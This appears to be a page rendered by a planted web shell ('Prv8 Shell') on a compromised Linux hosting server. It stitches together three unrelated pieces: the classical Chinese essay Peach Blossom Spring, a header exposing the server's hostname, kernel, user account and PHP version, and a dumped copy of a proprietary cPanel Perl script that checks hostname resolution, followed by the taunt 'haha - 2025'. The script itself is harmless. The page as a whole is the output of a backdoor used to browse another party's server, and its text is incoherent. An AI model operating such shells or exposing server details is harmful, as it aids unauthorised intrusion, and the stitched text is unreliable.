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　晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 . Prv8 Shell

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System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
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Current File : //scripts/ensure_hostname_resolves

#!/usr/local/cpanel/3rdparty/bin/perl

#                                      Copyright 2025 WebPros International, LLC
#                                                           All rights reserved.
# copyright@cpanel.net                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited.

package scripts::ensure_hostname_resolves;

=encoding utf8

=head1 NAME

ensure_hostname_resolves

=head1 DESCRIPTION

Utility that checks to ensure that the hostname resolves to the server.

It can also update the hostname to use an 'autodomain' hostname which is guaranteed to resolve.

=head1 SYNOPSIS

    ensure_hostname_resolves [OPTIONS]

    --yes           Skip the prompts, and assume 'yes'

    --help          This documentation.

=cut

use cPstrict;

use Try::Tiny;

use IO::Prompt                       ();
use Cpanel::Exception                ();
use Cpanel::Hostname                 ();
use Cpanel::IP::Loopback             ();
use Whostmgr::Hostname               ();
use Cpanel::Domain::ExternalResolver ();

use constant _OPTIONS => ('yes');

use parent qw( Cpanel::HelpfulScript );

exit __PACKAGE__->new(@ARGV)->run() unless caller();

sub run ($self) {
    die Cpanel::Exception::create('RootRequired')->to_string_no_id() unless ( $> == 0 && $< == 0 );

    my $hostname_resolves_local;

    try {
        if ( $hostname_resolves_local = $self->hostname_resolves() ) {
            print "[+] Hostname resolves to the server.\n";
        }
        else {
            print "[!] Hostname does NOT resolve to the server.\n";
        }
    }
    catch {
        my $str = Cpanel::Exception::get_string($_);
        print "[!] Failed to determine if hostname resolves to the server: $str\n";
    };

    return 0 if $hostname_resolves_local;

    if ( $self->getopt('yes') || $self->prompt_yn() ) {
        print "[*] Configuring auto-resolving hostname...\n";
        my $new_hostname = Whostmgr::Hostname::set_autodomain_hostname();
        print "[+] Successfully updated hostname to auto-resolving hostname: $new_hostname\n";
    }

    return 0;
}

sub hostname_resolves ($self) {
    my $hostname = Cpanel::Hostname::gethostname(1);
    return 0 if Cpanel::IP::Loopback::is_loopback($hostname);
    return Cpanel::Domain::ExternalResolver::domain_is_on_local_server($hostname);
}

sub prompt_yn ($self) {
    return IO::Prompt::prompt(
        '-yes',
        '-one_char',
        '[*] Do you want the system to update the hostname to an auto-resolving hostname? [y/n] '
    );
}

1;

haha - 2025